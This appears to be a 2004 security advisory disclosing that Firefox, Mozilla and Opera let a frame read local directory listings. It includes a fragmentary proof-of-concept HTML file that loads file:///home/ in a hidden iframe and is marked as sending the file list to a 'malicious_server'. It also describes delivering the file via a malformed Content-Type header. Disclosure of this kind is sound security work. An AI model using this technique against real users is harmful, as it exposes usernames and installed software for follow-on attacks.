Title: Disclosure of file system information in Mozilla Firefox and
I don't know if it could be considered really a security problem,
anyway i'll try to explain my ideas.
Sorry for my bad english.
Author: Giovanni Delvecchio
Bug: Disclosure of file system information
- Firefox 1.0
- Mozilla 1.7
- Opera 7.54 (*)
( maybe also previous versions )
- Firefox 1.0 on Linux and Windows
- Mozilla 1.7 on Windows
- Opera 7.51,..7.54 on Linux
The content of this advisory could be applied also to other browsers,
i have checked just Mozilla, Firefox,Opera and Microsoft Internet
Microsoft Internet Explorer seems not to be affected.
A problem exist in some browsers where a frame can gain access to
attributes of another frame or iframe.
An application of this bug could be the possibility to disclose local
------ begin code.htm -----
//send list_files at malicious_server
<iframe name="local_files" src="file:///home/" height=0
------ end of code.htm -------
A malicious server could obtain the content of /home/ directory ( or
c:\Document and Setting\ for windows system ) and so know a set of
usernames present on system target.
Moreover, colud be possible know if a particolar program is installed
on target system for a succesive attack.
Anyway it cannot be exploited "directly" by a remote site, but only if
the page is opened from a local path ( file://localpath/code.htm),
since the iframe "local_files" belongs to a local domain.
Note: with Internet Explorer code.htm doesn't work even in local.
Possible Remote Exploitation:
How could a malicious remote user exploit it ?
After that the user "victim" has required
http://maliciuos_server/code.htm, if malicious_server responds with a
page containing an unknown Content-Type field ( for example text/html.
,note the dot) ,the browser will show a dialog window with some
options (open, save, cancel). Choosing "Open" to view this page, it
executed in local context.
Obviously, if user chooses to save and after open it the result is equal.
(*) For Opera this method of remote exploitation requires that opera
must be setted as Default Application in "handler for saved files"
whether the user choose "Open" in the dialog window.
No solution at the moment
24th November 2004: I have contacted mozilla by security () mozilla org
and Opera by its bug track page at https://bugs.opera.com/wizard/
No response from both at the moment.
Personalizza MSN Messenger con sfondi e fotografie!